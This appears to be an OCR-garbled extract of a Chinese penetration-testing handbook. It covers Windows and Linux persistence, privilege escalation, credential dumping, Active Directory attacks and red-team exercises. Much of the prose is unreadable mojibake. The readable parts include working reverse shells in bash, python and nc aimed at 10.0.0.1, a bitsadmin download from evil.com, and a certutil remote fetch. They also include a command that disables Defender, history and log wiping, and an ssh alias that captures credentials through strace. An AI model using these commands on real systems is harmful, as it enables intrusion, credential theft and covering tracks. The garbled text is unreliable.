i}, ATPAE Lk sethe. exe 73 NH NIRT], FERHIA U i A TLIK shift BERTHRASALER .

BR{R N5

TEF AR Windows W, B AR P 252 B R GEORIPY T B HAR A 50 2 R SE B

LR B4R ] 7ESE N 3209 HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Option F¥sMIM sethc.exe , SRGHE sethc.exe XN AN debugger 4, H{H T
BRI,

EBHES

Windows 45 schtasks fll at WA RIMESALH . H at FERERAR Windows HE L5

W E fiy 42N schtasks /create /tn "TEST_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "TEST_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
Mis:6y4~ schtasks /delete /tn "TEST_OnLogon" /f .
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BEREEX

Windows WA R P B FE AT AR, A HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit X,

. 7F HKCU\Environment\ {2 ik UserInitMprLogonScript L.

BERIPERF

Windows 1] DL [ & X Grseffd#2)%, {#1/f] HKEY_CURRENT_USER\Control Panel\Desktop i¥%# .

Fei A P

Windows H] DASEFITE A4 S § SRATEIEGET -, Ak - Al E—E A0 PG, (E 73 mT A 1 428
iR -

TERTHEGEON P EEab_E, AT ME RGN T QI T, X hhr Ay i R aedd iR A% .

CLR

CLR (Common Language Runtime Compilation) A 31EF1247H, 2HMECH NET 5= W@z, o]
PARH I HO IR NET AL

NET #FFHisf7 8 AIF CLR, B A EhEF CLR B Use a1,

Winlogon Helper DLL 5|7

Winlogon g —4> Windows 1, FIRABAFEZ), W&, EH . BSO8R UEMEmnEm HudEset. x
M. B BrAESE . XFMT R R, R ENEERE AE Windows B g [a]EaFLe e . fir PAR] DAIR
XM ORI TR 4ERF .
VA AT
o HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell T i
T exe BJ7
e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit H

T AT exe 27

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify M T
AT dll e

6.1. Windows ;&% 231



Web-Sec Documentation, 475 1.0

B2

BEFEMRNBEE

T AE MR B A MY A B ] DASE BRI AL E JE 3, %2 Run Fll RunOnce , H:H RunOnce Fl
Run X 37EF RunOnce WHESAEH—, AT5eR a2 B3k .

MR
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
BT ORI A SR E T
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
o HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
BB RS S R A B AN

e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell
Folders

o HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell
Folders

BCER ST SR R AL B AT
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

F P A J5 80 & HKEY _LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell , XH:

Userinit SRV E HIEZ S50 RN 2 MY -
WA RSN T R R RE T, AT DA Fr R R R B B ST, A SRR B h -
o HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive

e HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
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o HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut

e HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

ETHEBRMBED

H 53 H 5%, C: \Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
HsXTErE A 4%, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp %f G f /-
A% AE NT6 PAHI, BiT~H M C:\Documents and Settings\Username\Start Menu\Programs\StartUp
/ C:\Documents and Settings\All Users\Start Menu\Programs\StartUp .

6.1.3 PR

UAC

&

UAC (User Account Control) j2 Windows Vista il Windows Server 2008 5| Af)— AL, 24—Lufi

AR SRS, Sl SR B EOR R GR

U P& Windows B, &N P gi# 7 —> access token, XA~ token H security identifier (SID)
PMEE, Yo T H P BIREE.

2% UAC B9R1E

o DAEHBSUR IS B ]

o BHARG. UAC &H

o BEBCARURMSCEEE B3 (%SystemRoot% / Y%ProgramFiles% %)
o BB ACL (access control list)

o LAEHKD)

o RN, BRI, EEE R K

ByPass

« DLL #H3
o HFEHEA
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W pREEFH
PRSI ZE 5, AR I H e BRI A IS e SRR 1 75 2O A i A T
WAZS P RIIRFRSATRIS . N, 3KS g UAF s HABE AR, PAIRAHRE = A AR «

W 32 2R A RG22 A A AL, B LSRR T AB A, (H2 S DA BE SRR
Al

EEESXHFA

£ Windows il AT DA I RURA B BEAT DA R i 26
o JIPTHBMSCERIE S, {04 AppData Temp
o C:\, BRAREOL T HFATAT A
» C:\ProgramData [ FH %, BRINFIL T AT AGIZE SO, B A
o C:\Windows\Temp [1JF H 3%, BRIAEEL TP DA SCIRIE. BASCAT
HAA) ACL {5 E 0] ] AccessChk, 5% PowerShell [f] Get-Acl fidHE .

A PAR X S SO S T H SR E AR, AT RE S BN dlL, R UL AN AT R AR U
i3

MOF

MOF & Windows &G H)— 3 (c:/windows/system32/wbem/mof/nullevt.mof ) MY FLE XTS5
A7, HAR R AR A& & s AR A AT

A S B ARURIEZBEA Shell I, W RA_EAZE HiAY mof SCIF AN A ALE, — ] FiX 4 mof 5
ST

— S RIAE mof A — BN INAT B B P a1 vbs JIAS, MPATISIIA TR R K

RIEHER

« Windows A& B0 i T4
— mimikatz
— lsass
— wce
— gsecdump
— copypwd

— Pwdump
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— ProcDump
* https://docs.microsoft.com/en-us/sysinternals /downloads/procdump

« Windows AH# i T

— LOphtCrack

— SAMInside

— Ophcrack
o ROMLRAAR
o Z%H hash+ B SCHIUR
o win8+win2012 A SCHIUER
o ntds.dit {5 +QuarkPwDump SEHEU T
o vssown.vbs + libesedb + NtdsXtract
e ntdsdump
o Fl|F powershell(DSInternals) 4347 hash
o f#iffl net use \\’computername, /u:%username’ B B %22l EL

o BREIEERET, W crash $AERS )G, FERESFT dump SCHAHRELEL

o GRS E I

« DLL %

o BARGTH, AT
o XH] defender

— Set-MpPreference -disablerealtimeMonitoring $true

6.1.4 JE;EE

B

>

o #AFHH& eventvwr

o i HAE eventcreate

o BfEHE
— 3389 HkAIFE
— HTITHGE
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- XPHBEHH &
— WA H &

- R F{F

— PP EHRILR
— R MIERIE SR
- RFFEHCR

- ARUEHE

— ARG HE %SystemRoot%\System32\Winevt\Logs\System. evtx
— Z4 HiE %SystemRoot%\System32\Winevt\Logs\Security.evtx
y y g y
— MW H i %SystemRoot’\System32\Winevt\Logs\Application.evtx
o IR HE

— IIS %SystemDrive’%\inetpub\logs\LogFiles\W3SVC1\

MR

e AppCompatFlags

o Background Activity Moderator (BAM)
e MuiCache

e RecentApps

e RunMRU

o ShimCache (AppCompatCache)

AR

« HKEY_ LOCAL_MACHINEsystemCurrentControlSetServicesEventlog

X

Prefetch

PRI, MRAFARGEC T M SR TR, §7 848 PF. fEAE C:\Windows\Prefetch .
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Jumplists

SRS VA o U <R = UV N IS D 6 B v - £ B il & SO VA W €2

%APPDATAY%\Microsoft\Windows\Recent .

Amcache / RecentFileCache.bcf

Windows H F) 8 ISP A BR BRI AT AN R AT T SOPRAY Y IR PP A AR PR 10 A8, BT T Wl S0 3C
PFE YA AT I B AR 5 1B B

Fan Windows 7. Windows Server 2008 R2 %R 5oh, X R A E
C:\Windows\AppCompat\Programs\RecentFileCache.bcf , fi & F£ % 19 € & B} A, b kA& ok i) Ja] .
OB RSO

" Windows 8. Windows 10, Windows Server 2012 & w5, XM RFEE

C:\Windows\AppCompat\Programs\Amcache.hve , A& XK/, A, shal, — i3k Sofb 28 &5 (5
S|

/o

Bt 1815

Windows [Sf[ali}2 Windows 10 ¥£ 1803 HCF 5 AR — S8, SAcskyimad iyt 4R m sy, iz
ey as,

RS

o ZIREE XM cipher /w:<path>

o WAALFRESE count IR format D: /P:<count>
6.1.5 BB
LOLBAS
&

LOLBAS, 4#F Living Off The Land Binaries and Scripts (and also Libraries), &—FfEAMHATR, Z1F
2013 4 DerbyCon Hi Christopher Campbell £ Matt Graeber K, % Philip Goh #2H k& .

XEREF A A Microsoft Bi5E =TI AUEALMZE S, (H2ER 7l DASEMUE R DI RE, thRER I T MM
B . XERF RSN T PREEEERF . MUTEEARN. Lt UAC, S|,
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RERER

e appsyncvpublishing.exe
— AT powershell
e bitsadmin.exe

— F# X bitsadmin /transfer <job_name> /priority <priority> <remote_path>
<local_path>

— F# X ff bitsadmin /create 1 bitsadmin /addfile 1 https://evil.com/autoruns.
exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete
1

— B bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.
exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete

1 & bitsadmin /reset

— IS 4T bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.
exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1
c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset

e cdb.exe
o certutil.exe
= P . MR A BLRIIRATIE TS
— AR XTI fE
— F#E 3 certutil -urlcache -split -f https://addr/example.exe
— {7 certutil 24 cache 1, TFTFEIE MR
— base64 #iffiil certutil -encode / certutil -decode
o cmd.exe
e cmstp.exe
e control.exe
— fm#k dil
e csc.exe
— G C#f Bf
e cscript.exe
— PATHA
e extexport.exe

e expand.exe
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= JBIF—A e A g S
forfiles.exe

— forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
mofcomp.exe
makecab.exe
msbuild.exe

— Y Y
mshta.exe

— HTML [
msiexec.exe

— L% msi

— gk dll
msxsl.exe

— b3 XSL f27
netsh.exe
installutil.exe

— /AR A
IEExec.exe

— NET Framework FffiFfe)y
powershell.exe
psexec.exe

— https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
reg.exe

— MG
regedit.exe

- WRES
regsvr32.exe

— MR  ActiveX (4

rundll32.exe

— 04T DLL SCHEH ) R e 4R

6.1.

Windows F;3iE
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. sc.exe
- BRI IRSEH
« schtasks.exe
— EMRIES
« shred

- EREGAXM, B ISR
o type.exe
— FIH ads B4 type <filepath> <target_file:ads>
o wmic.exe
— Windows &3 T H
e windbg.exe
e winrm.exe
e wscript.exe
— MIARG %
o waitfor.exe

= MFFEEZ MR, ATARERER AL EHES

6.1.6 1585
Active Directory

WEEhHF (Active Directory, AD) Z[ii[H Windows Server [ H R4 . Active Directory 724 T4 M 4%
X wfE e, BB B ORI P RENS A FR A X 2615 L.

ADDS

Active Directory $2fit H IR S HIH A FRAE Active Directory $8(filk 45 (Active Directory Domain Services,
ADDS), 157 H B ENAAE . WINecE %S TAE, W AURTEZ RN . )M g 5.

BHR=0E

#FRzE ] (namespace) Jg—HAUE LRI I, FERIR N AT A 44 FR4RE] 5 2 MK (5 B o
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HRERM

ADDS WY EEHS R AR R (Object) MITBAAFTER, XRulid/EdE (Attrbute) SRR HAFHIE

5

B M4 2 G RLEE EAREE, ITRPIE I ZEIRE . U AR S STR I LA
TG, FEE, BAE GRS, S dE T O R A RS AN e A e

a5

A (Trees) fZ MR, XLt Z R —REMMACE, Bl —MELR M4 250 (namespace)

"

M (Forests) s2— Ak AD LB, H— BRI, AR B O 2 FR2S 0 .

S

PIANESZ AT ERIBEAE R AR, A 0T LAY B0 B3N ) 5 U

e 5 2%

ADDS [ HSRAFREAEIR S BIAR Y, — DT AR 2 Gl by, & DRl asa o L2 r28m, A
JUTAHTR R 1

FE— G IR Hl g A — PR XN S A S S H Al s i e R

AD ¥ £ FHLE HIEET (Multi-master Replication Model ) F1 82 =415 #l#5, (Sing-master Replication
Model),

2 FAU T AL BOFAT A — S I il e AD X4, 5 BB 2 5 B R A Al 21 At s . R
RS e ] 2 AR T A Al o

B MU RO th— SRR E R VE L (Operations Master) Fs {2 il 5 STHCE S8 iR, 7t
RERSC A Al 1) H b s 45 -

{EESE

Active Directory M5 =R PAS A AR LF:
¢ Tree-Root Trust

— WU A A
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Parent-Child Trust
— BRI, Xnfr A
« Forest Trust
— WERPMRAUE TR AR, AR BT A A AR A5
— PIDMRZ RIBE A R R TCTE A shy 2 HoAt Ak -
+ Realm Trust
— ADDS I(n] AFIE Windows ZRGEHY) Kerberos I8 [A] (1] {5 (L
« External Trust
— LT PSRN B 18] T DA I AR A AR R H AR K AR
Shortcut Trust

— T DAGRAEIUE T B 4 B I 1)

i 2Ry
HeERMA
NIRRT, &5 client 5 AS (JlfF 158 TGT, #W4A&ZHE (Golden Ticket) #fi Ot BEPa4Z T 5

(TGT), @%ﬁﬂ)@lm}wﬁ?ﬁu
HaEmAHFEYS DC #fE, HFEZIRH kebtgt (1) hash, {HE W DAIREUEA Kerbose [R5 AN FR -

BREEF A

HAREE (Silver Tickets) PhiiFIH Y2 Kerberos INIEH SR =42 0K, fEH =B RIEHE, client 24 E
ticket [1] server MYSEANIR ST HEATIE K, ARIGUEE LT DAV server ERFREMR ST T, X B ticket J2 5k
F client info, server session key. end time. server hash. X client info L], end time R]PAK3E, server
session key ;@& TGS A1, FrPAHEE server () NTLM hash BT, FEEOER) 2 TGS, HEEVIFHEE R
% .

DCSync K i§

DCSync @iz #EHh &H 2 HEH AR, DCSync 2 mimikatz 7£ 2015 ERMF—PI6E, B Benjamin
DELPY gentilkiwi 1 Vincent LE TOUX I:[64w%5, ETF DRS FRKFH NG H A hash,

X7 T B DA R AR ——Fh AR -
e Administrators 20N % H
e Domain Admins ZH N H
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o Enterprise Admins 2H PN #YJH 7
o AR RIS ALK

DCShadow Hif

DCShadow 213k H ¥ E 458 A R Benjamin Delpy F Vincent Le Toux £ 2018 4E {4k ME (Blue
Hat) K& b .

DCShadow HHif§7E Active Directory FAlg T Gl — MBI Hd, I ERMER TN S
RiRftEy

LI (Pass-the-Ticket Attacks, PtT) f&—Fh{#i ] Kerberos ZEHL B Sc 28, NTLM M7 75
Y. POT S DU A8 vl BE 2 0 FH B 4 4 A AR 2240, i PeT 151 EALAH 24 AT 5R.

Kerberoasting Attacks

RN — & B, EATLAEL AN SPN, Kerberoasting RIS Ak N A T4 k55 385K TGS, SRJG2E T4
FISE

Kerberos Delegation Attacks

M, A ] Kerberos S4yIRIETT AR B, B B A B 205 C, XAl FEaknT DAL f#
HEIR . TIRFEIA-HNIEA R ZIE (Unconstrained delegation) F1Z R ZYR (Constrained delegation) WiFf,
LR ZER AT AV I PR R LB RS, AR Z URXF AU 1 FR AN T DA 1) HAth ) AR 55

Kerberos Delegation (Kerberos Zik) B/ HAFLARZIRUE AN AR Z IR o J5UEAR @B TN C 40
BT IR PRI B K P AR -

6.2 Linux PIM;i3iE

6.2.1 {525
ERAR, BRERGHREESR

o BALER
— uname -a fiFA A
— uname -r NEMRALEE
— uname -n RETHLT
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— uname -m Linux %44
o WM. cat /proc/version
e CPU f§ & cat /proc/cpuinfo
FeAifa

— cat /etc/*-release

— cat /etc/issue
o FH144 hostname
ARG df -a

o WHHE dmesg / /var/log/dmesg

Dk i

o FIHARGA M cat /etc/passwd
o JIHARGFTHY cat /etc/group
« T4 P hash (toot) “cat /etc/shadow
o Ji
— AWM HEAEE finger
— UHPESE P users who -a /var/log/utmp
— FFTCEEGH P grep 'x:0:' /etc/passwd
o HEERMM w
o BAHF{EE last / /var/log/wtmp
o SORERG T M PRI ROESEE B lastlog / /var/log/lastlog
o BSEHWIIHE /var/log/secure
o BREWMHDE /var/log/faillog
o BEEHUH S grep :0 /etc/passud
o #F passwd fgJFEMTE] 1s -1 /etc/passwd
o BEEGIESIIAM avk -F: 'length($2)==0 {print $1}' /etc/shadow
o HELFELZMIKS awk '/\$11\$6/{print $1}' /etc/shadow
o HF/HA sudo AR

— cat /etc/sudoers | grep -v ""#\|"$" | grep "ALL=(ALL)"
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R FPFSFRIES

o {7 whoami

o YHIHER id

o AJPAMH] sudo $ETFE root B (root) cat /etc/sudoers
o FIHH BN A TS T PATIHE S sudo -1

IMEER

o ITHIRG I F E env

o ITHRGHE G set

o IR RPIYEIZEE echo $PATH

o ITHIH 4 history / ~/.bash_history
o WIRYHIEEAE pwd

o TRBLAZRSH cat /etc/profile

o BIRAIHRY shell cat /etc/shells

HEER
o HHEMUFEERE ps aux
o BIRLATNEI top —c
o BRI XKIL T 1sof -c $PID
o SEREIAFTE L /proc/$PID/cmdline
o R4 4 /proc/$PID/comm
o BEREYH] AR HRAFF S48 /proc/$PID/cwd
o BITRRFIIFT S EER: /proc/$PID/exe
o VEARMFFEEAS R /proc/$PID/environ

o FERRFTH OGS /proc/$PID/fd

IRZ1E2

o inetd RS FFE cat /etc/inetd.conf
o Hi xinetd EHEMIRSF)FE cat /etc/xinetd.conf
o nfs REGEFMILE cat /etc/exports
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o MRME(EE. /var/log/mailog

e ssh fil & sshd_config

THRIES

o ERTEEM PRI RIVEN. (root) crontab -1 -u %user
o VRIS

— /var/spool/cron/*

— /var/spool/anacron/*

— /etc/crontab

— /etc/anacrontab

— /etc/cron. *

— /etc/anacrontab
o JEHLRIZN

— /etc/rc.d/init.d/

M. EBEFIEE

o FHIMZH: {5 /sbin/ifconfig -a / ip addr show
o FHRZEHE {5 H, cat /etc/network/interfaces

. BERY arp F arp -a

o FTHIMHE E route / ip ro show

o #F dus [il 15 E cat /etc/resolv.conf

o FTEIAHLYG P {5 S netstat -an

 Fli iptable FCE RN iptables -L

o B FHIH RS WL cat /etc/services

o Hostname hostname -f

o BFEMFRENG O netstat —anltp | grep $PID

EXRERF
e rpm -ga --last Redhat

e yum list | grep installed CentOS
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e 1s -1 /etc/yum.repos.d/

e dpkg -1 Debian

e cat /etc/apt/sources.list Debian APT
» pkg_info xBSD

o pkginfo Solaris

e pacman -Q Arch Linux

e emerge Gentoo

X%
o IFTL R find / -ctime +1 -ctime -5
o RGN debugts

AF5AER

e ~/.ssh

e /etc/ssh

/var/log/boot.log
e /var/log/cron

o /var/log/faillog
o /var/log/lastlog
e /var/log/messages
o /var/log/secure

o /var/log/syslog

e /var/log/syslog

o /var/log/wtmp

o /var/log/wtmp

e /var/run/utmp
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MRS

e lsmod | grep -i "vboxsf\|vboxguest"

e lsmod | grep -i "vmw_baloon\|vmxnet"

e 1lsmod | grep -i "xen-vbd\|xen-vnif"

e lsmod | grep -i "virtio_pci\|virtio_net"

e lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"

FRAEEKE

e capsh --print

e cat /proc/1/cgroup

e env | grep KUBE

e 1s -1 .dockerenv

e 1ls -1 /run/secrets/Kubernetes.io/
e mount

e DS aux

6.2.2 X1t

W pREEFH

PR il 71T

Wi root AURIKIRSS

A =7 IR 55 2 AL

o AT SUID JgPER I kg7 3Pk
AT RESR AL AT AT S F

find / -perm +4000 -1s

— find / -perm -u=s -type f 2>/dev/null

— find / -user root -perm -4000 -print 2>/dev/null

— find / -user root -perm -4000 -exec 1ls -1db {} \; 2>/dev/null
o FIHWHIE root AU

— sudo -1
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o FIFHIRECE ) crontab fL45

=)=t

o /etc/init.d
o /etc/rc.d/re.local
o ~/.bashrc

o ~/.zshrc

« ssh Jil]
— alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
= Jal g
o HWULBHI
— ICMP
— DNS
o icmp J5I]
o Jel 13 P
o . IPKERECCIE

o rootkit

6.2.3 JRIKFHE

o unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
e kill -9 $$ kill history
e history -c

e JF HISTSIZE=0 H1i%H HISTSIZE=0

iAkR/ige B RESC

e /var/log/btmp

e /var/log/lastlog
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/var/log/wtmp

/var/log/utmp
« /var/log/secure

o /var/log/message

BERRB

o M4 ~/.ssh/known_hosts H1ifl5%
o PR R
— touch -r

o MHBR tmp H RIS

BRI

o vim AR a4 :set history=0
o ssh B3k

— TOJE¥# 5% ssh -T user@host /bin/bash -i

BEXH

e shred
e dd

e wipe

o BGEMARMRMESE S MERIRIE, #A H st —FRE

o HPREMNERASHL F G, TERISGIRE . e, EH P EREH AR
o FAFMETNEEEEEREE

o SR BBk ] RES BRI AAR

o TEBRVERIRL A ] PHEL
o MBRSCOR 6 G 7 5 B RE MM B
o REMBE AP R 2L
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SERE

o Linux AR Iy

6.3 J/IHEAR

6.3.1 FEAER

o FPhie BB AR
- ROUEH: ABERGEARGE, HRREH, RSEH
— SCPFEER: SR SCrE, MBS/ H s, R/ B AT S
— Shell %53
— ORI E
— BRI
— EHRAE
— PR A
- BRMERER
— R A Eh A s
— IR
o HEEA
— Windows [ k33l
* FF Windows &3 H 540 H 30
*EETENNRM A S
* BT RS FTH A B8
*HT ActiveX $5E1FHY H JH D
* BT IHIES (Scheduled Tasks) #YH H3)
— Linux HE3)
o SN HE AR
— JT DLL ffi AR
* IRFRAREEI AR
* BEA LR (HOOK) R
— BT SveHost L2 55 i HERR Kt
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— MR
Bl B MR E R
— S
— BhiBEIE

* HTTP

* MSN

* Google Talk
WAZH B A (Rootkit)
RN RBRIRE AR (Bootkit)

— MBR
— BIOS
— NTLDR
— boot.ini
o SFEEAEREOR

6.3.2 /FRF

o feBEpEINRR I
- fmse
— WIESE S
— BAFRA
o KPR AMCELKI
— B R
o nfiR
— B H B R
— WA PR ST AkA AT
— Wi
— FHEGIREE S o 2 57
o Brili BB R AR AT
— ARG ]
- B ARG
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— FH%k ik IRP B4\ 10K
o FIHTEBAEAE
— ORI - BYAIES
— I S il A O 0
— FHEEAEF DLL SR “Hms”

6.3.3 AR

o T AJEME Rk
o HETUERRLE R A

o HETHERAL R

« Rootkit/Bootkit [l

6.3.4 IG5

o BT
o W
— BRRES I EES
= AR RS
= X Bl e
— WSCPATRR AR
= S NS R G

6.4 LRERKDI

6.4.1 IRO¥A

o windows
— lex
— netsh
e linux
— portmap

— iptables
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o socket fCH
— Win: xsocks

— Linux: proxychains

o JT http MEE% Y socket fURE (IR T8 E)

— M5 % tunna

— socks fUH: reGeorg

— WK

— socks

6.4.2 3XEY shell

o AL shell S

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_
STREAM) ;s.connect (("10.0.0.1",1234));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.

—dup2(s.fileno(),2) ;p=subprocess.call(["/bin/sh","-i"]);"

rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

o TR KA imep_shell gt
o 1Fm] shell

nc -e /bin/sh -1lp 1234

nc.exe -e cmd.exe -lp 1234

6.4.3 AIFISCF1ESH

« windows |31k

— powershell

— vbs A

— bitsadmin
— gt
— i telnet FZUCEDE
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— hta

linux B 3CPE(E 4R

— python

wget

tar + ssh
— FIH dns L H%dE
UGG vE

— powershell ¥ exe ¥4 txt, T txt %4 exe

6.4.4 TIREE && WITERF

at&schtasks

psexec

wmic

wmiexec.vbs

smbexec

powershell remoting

SC @ g5ttt

schtasks

SMB+MOF || DLL Hijacks

PTH + compmgmt.msc

6.5 SEkE

6.5.1 Windows

Windows PN B FHEHEAL
R NTES SO SEbr Y
Windows H LIS T 1R AAL 5 ¥ S 45

LOLBAS

BiEF T —— Windows FA HERO M 4
windows BUIE SCEFATIC S5 FEBUR 175 4

6.5.

L
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https://www.freebuf.com/articles/system/114731.html
https://gh0st.cn/archives/2017-03-29/1
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https://lolbas-project.github.io/
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4/
https://xz.aliyun.com/t/7155
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Getting DNS Client Cached Entries with CIM/WMI
Windows Bt Persistence

Dumping RDP Credentials

gisiE

LRI 8 53 S OB B A
$Re Sridne ]
got domain admin on internal network

Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques <http:
//download.microsoft.com/download/7/7/A /77TABC5BD-8320-41AF-863C-6ECFB10CB4B9/
Mitigating%20Pass-the- Hash%20(PtH) %20 Attacks%20and %200ther%20Credential %20 Theft %
20Techniques_English.pdf>¢

5 d ) il

QOMPLX Knowledge: Fundamentals of Active Directory Trust Relationships
Kerberos [ 574 SE a1

DCShadow explained: A technical deep dive into the latest AD attack technique
Active Directory Security

Kerberos AD Attacks Kerberoasting

Kerberos 2 3 N Z R U

6.5.2 RedTeam

RedTeamManual

6.5.3 A

M 22 4k A

TR HITE ) 4 R0 32 175

MEIFI W 52 5)

BERIIM Github 8223 S0

An introduction to privileged file operation abuse on Windows

JIASHERL tips
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https://lengjibo.github.io/Persistence/
https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/
https://nosec.org/home/detail/2510.html
https://mp.weixin.qq.com/s?__biz=Mzg3NzE5OTA5NQ==&mid=2247483807&idx=1&sn=59be50aa5cc735f055db596269a857ce
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http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf
http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf
http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf
http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf
https://github.com/uknowsec/Active-Directory-Pentest-Notes
https://qomplx.com/qomplx-knowledge-fundamentals-of-active-directory-trust-relationships/
https://www.cnblogs.com/backlion/p/8127868.html
https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
https://adsecurity.org
https://blog.xpnsec.com/kerberos-attacks-part-1/
https://xz.aliyun.com/t/7517
https://github.com/klionsec/RedTeamManual
https://xz.aliyun.com/t/2354
https://www.anquanke.com/post/id/92646
https://github.com/l3m0n/pentest_study
https://xz.aliyun.com/t/1649/
https://offsec.provadys.com/intro-to-file-operation-abuse-on-Windows.html
https://xz.aliyun.com/t/4522
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6.5.4 Cobalt Strike

o Cobalt Strike &A%

» B4R Cobalt Strike 25 2 fi APT Zif4xii 0% -5 ol ATRBI B AR R IR
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Bh fEl AR

7.1 HBAEix

711 ABHI
o WIIATA
— ATTHLUER I E B LK)
BT 1) 15 2 70 108 HH i R

— STTHHGUHAEL T P 430
— JEFEEIEE B4 TAE

— FUE R L ER R

- MITLEFY S TR E

— TS H AL A R R T 5

T BRI . AR HE , MBS DL, UGS S Y i BE A AR
— ST AR A TAE, GRS . e TARHESD, RS RS Fr A A o A

T AN A O BRI 2
TR EALFHE
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o RELARNTIN
— 55 AP B R SRR
— TR LTRGBS, HRERE I A TR
— ALY
— W55 -5 I 2% BE AL 46 1) 22 4 o a0 T AR
— BERMHHEE SO, BEEMME Ll
= KL edr, RERFRRER, Tk M 2 et
— TR E TAEEE, BRERARICIEOL, MR
— TR E AR BT
o BIE/HTEA B
— PRGNS R . 55 ARG T 2 A A I
— XA SRR AR T SRS S Y
o RAERRIBYEN B
— SATTIA L E AN A 2 2
— SATTH A A B BN 4 A SR A A S B
o BREIER
— WP A L e T EIT KL e TR S
- ZHEERGHTOR. Bt ST K T
- YEP A EBA N LERF 5 RS

7.1.2 BE5%E

o BT L B LR
o ol A F AR A

o ARl fE B A I BVEER

7.2 TN

7.2.1 @&

LLREXH TR S R FOR IR T 20 HHAD 60 4RSS ST, 1~ 02 LR FF NI T R UL RY SE G~ 3~ il
WML, W, Hh R R AR PSS HUIE > L T S AR RO A, S40% (R IR
HRBA) UEATES PRI ISR, XA st geFr{F Red Teaming.
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RS 7SS e AN O E I EE Pyl E R 1 R A S/ o 41T B 1B U 7o) | | TN G R N VA Ve S D287 S
PREs Aol 224 . SRS T, ARBL A, RBOI S5 AR A s, MR EGEFBE, il
WS AL EIZRPA, REE HAR. nTRE SIS RGN, AERRSE—BOR M ZL MU Ty, AR
SFUr, B ACRIE AR

7.2.2 MBHPAES

R S > “8iE” (Locked Shields), “PIZg K" 45, Hrb “8ijE” b2y sl 4 5h A1
